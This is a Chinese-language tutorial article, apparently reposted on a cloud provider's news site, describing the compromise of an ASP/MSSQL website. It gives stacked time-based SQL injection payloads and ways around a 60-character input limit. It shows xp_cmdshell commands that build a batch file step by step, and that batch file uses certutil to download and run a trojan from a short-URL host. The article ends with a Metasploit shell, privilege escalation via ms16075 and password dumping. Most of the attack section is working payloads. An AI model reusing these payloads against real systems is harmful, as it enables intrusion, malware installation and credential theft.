您好,登錄后才能下訂單哦!
asp+mssql的注入和命令執行是怎樣的,很多新手對此不是很清楚,為了幫助大家解決這個難題,下面小編將為大家詳細講解,有這方面需求的人可以來學習下,希望你能有所收獲。
在hw中有遇到一個站點,存在mssql的注入和命令執行漏洞,在進行利用的時候遇到了一些阻礙。
Request.Form函數
),不能通過bool盲注,但是可以通過堆疊時間盲注進行注入,payload ';if (db_name()like'A%')waitfor delay '0:0:10' --
這里可以通過burp的測試器進行測試,把a-z0-9添加到字典中,之后進行枚舉,判斷返回時間,下面舉個例子 枚舉到t時得到延時5秒,證明數據庫的第一個字符為t
接下來使用burp的測試器 修改要測試的位置 添加字典 修改線程 查看結果 按時間排序 得到數據庫的下一位為e
,接下來得到數據庫名稱。 判斷用戶是否為dba權限';if (select IS_SRVROLEMEMBER('sysadmin'))<1 WAITFOR DELAY '0:0:5'--
,但是執行這個代碼發現沒有延時,無論是<1還是>=1都沒有回顯,可能是因為手工的方式不太對,所以丟到sqlmap 發現可以注入,之后使用--is-dba
判斷是否為dba權限 不是dba權限,繼續注入出其他數據庫--dbs
發現沒有回顯,而且sqlmap沒有檢測出waf,所以就要分析一下payload和后端的問題了,想到這里是搜索框,并且默認是get傳參,那么是不是可能限制了字符串長度,于是修改payload為';if ('aaa'='aaa')waitfor%20delay%20'0:0:5' --
通過調整單引號長度,來測試最大為多大長度時可以延時,經過枚舉,發現后端的長度限制為60,那么在注入的時候就只能通過存儲過程來注入,這樣是非常麻煩的,還有一種辦法就是通過mssql的xp_cmdshell
函數來執行命令,當然因為前面有對字符串的長度有限制,所以每次執行的命令長度也有限制,';exec master..xp_cmdshell ''--
為執行命令的基本長度,為31,所以我們執行命令的長度最大為29,而且還要考慮殺軟的問題,因為經過本地測試,如果存在殺軟,那么命令是無法執行成功的 哪怕是ping命令甚至是錯誤的命令都不能執行,所以要對目標是否存在殺軟進行測試,';exec%20master..xp_cmdshell%20'ping%20127.0.0.1'--
執行之后等待了4秒,成功得到回顯,證明對面目標沒有殺軟或者殺軟不為測試的某衛士 想到可以通過系統的下載命令進行下載,配合上短域名即可實現文件下載,但是經過測試,常規的下載命令,配合短域名之后長度會達到34位 而且還會涉及下載目錄問題,還有下載的文件的執行問題。 在之前復現phpstudy命令執行漏洞寫shell的時候學習到了在系統下echo 123>1.txt
和echo 123>>1.txt
兩種寫入方式的區別,通過第二種方式即可實現寫入文件,于是進行本地復現 經過寫入兩次文件,但是命令根本不在一行,這樣是無法執行的,這時候想起了之前在ctfhub上面做的命令執行,想到在linux下可以通過拼接來繞過過濾,實現命令執行,那么windows下是不是也可以呢,找到了度娘,可以通過以下方式來進行字符串拼接
@echo off certuti l %a%%b%
于是把下載的命令進行構造certutil -urlcache -split -f http://suo.im/5UEWnn %temp%/1.exe
經過字符串拼接,現在本地進行測試,
@echo off certuti l %a%%b% che %q%%a% it ht %q%%a% tp://suo %q%%a% .im/5UEW %q%%a% nn %q%%a% %%temp%% %q%%a% /1.exe %q%%a% %q% pause
發現已經拼接成功,并且可以執行,所以進行構造payload';exec master..xp_cmdshell 'echo >>%temp/6.bat'--
為需要的最基本的長度。為45個字符 而且還需要保證字符串拼接可以完成,';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6.bat'--
為61個字符,這樣已經不能夠正常的執行命令,所以要對payload進行縮減,把寫入文件的擴展名去掉,在寫完文件之后使用copy命令進行重命名 所以payload為';exec master..xp_cmdshell 'echo set q=%a%%b%>>%temp/6'--
,經過構造得到完整的payload
@echo off>>%temp%/3 certuti>>%temp%/3 l >>%temp%/3 %a%%b%>>%temp%/3 che >>%temp%/3 %q%%a%>>%temp%/3 it ht>>%temp%/3 %q%%a%>>%temp%/3 tp://suo>>%temp%/3 %q%%a%>>%temp%/3 .im/5UEW>>%temp%/3 %q%%a%>>%temp%/3 nn >>%temp%/3 %q%%a%>>%temp%/3 %%temp%%>>%temp%/3 %q%%a%>>%temp%/3 /1.exe>>%temp%/3 %q%%a%>>%temp%/3 %q%>>%temp%/3 copy %temp%\3 %temp%\3.bat %temp%\3.bat %temp%\1.exe
思路就是通過把命令寫入文件,之后通過copy命令把無后綴的文件變成bat,進行執行里面的下載命令,遠程下載muma到指定目錄,之后通過命令執行來運行muma,當然還要先測試目標是否出網和是否是dba,開啟了xp_cmdshell
show advanced options xp_cmdshell ftp x.x.x.x
在服務器執行nc -lvvp 21
如果有回顯,證明目標可以執行命令并且出網 接下來首先進行本地測試,測試命令是否執行成功,能否成功寫入文件, 發現命令已經執行成功,但是沒有寫入文件,于是修改asp代碼,顯示sql語句,下面是我本地復現的代碼
<% mssql_datahost mssql_username mssql_password connstr &mssql_username&&mssql_password&&mssql_dataname& Set conn Server.CreateObject() conn.Open connstr dim keyword Request.Form() left(keyword,60) StrSql & keyword & Response.Write(StrSql) Conn.Execute(StrSql) %>
發現是%
沒有編碼,在post傳參中被url解碼消失了,所以修改payload
%20@echo%20off>>%25temp%25/3 %20setcertuti>>%25temp%25/3 %20setl%20-urlca>>%25temp%25/3 %20set%25a%25%25b%25>>%25temp%25/3 %20setche%20-spl>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20setit%20-f%20ht>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20settp://suo>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set.im/5UEW>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20setnn%20>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set%25%25temp%25%25>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20set/1.exe>>%25temp%25/3 %20set%25q%25%25a%25>>%25temp%25/3 %20%25q%25>>%25temp%25/3 copy%20%25temp%25\3%20%25temp%25\3.bat %25temp%25\3.bat %25temp%25\1.exe
執行之后,msf收到shell,查看權限 通過tasklist
命令查看是否存在殺軟和本地運行的進程 因為本地權限較低,所以需要提權抓取密碼
use post/multi/recon/local_exploit_suggester
使用msf的local_exploit_suggester匹配出了一些可能的用于易受攻擊目標提權的漏洞利用的exp模塊。 之后使用ms16075進行本地提權 獲得system權限,抓取密碼
看完上述內容是否對您有幫助呢?如果還想對相關知識有進一步的了解或閱讀更多相關文章,請關注億速云行業資訊頻道,感謝您對億速云的支持。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。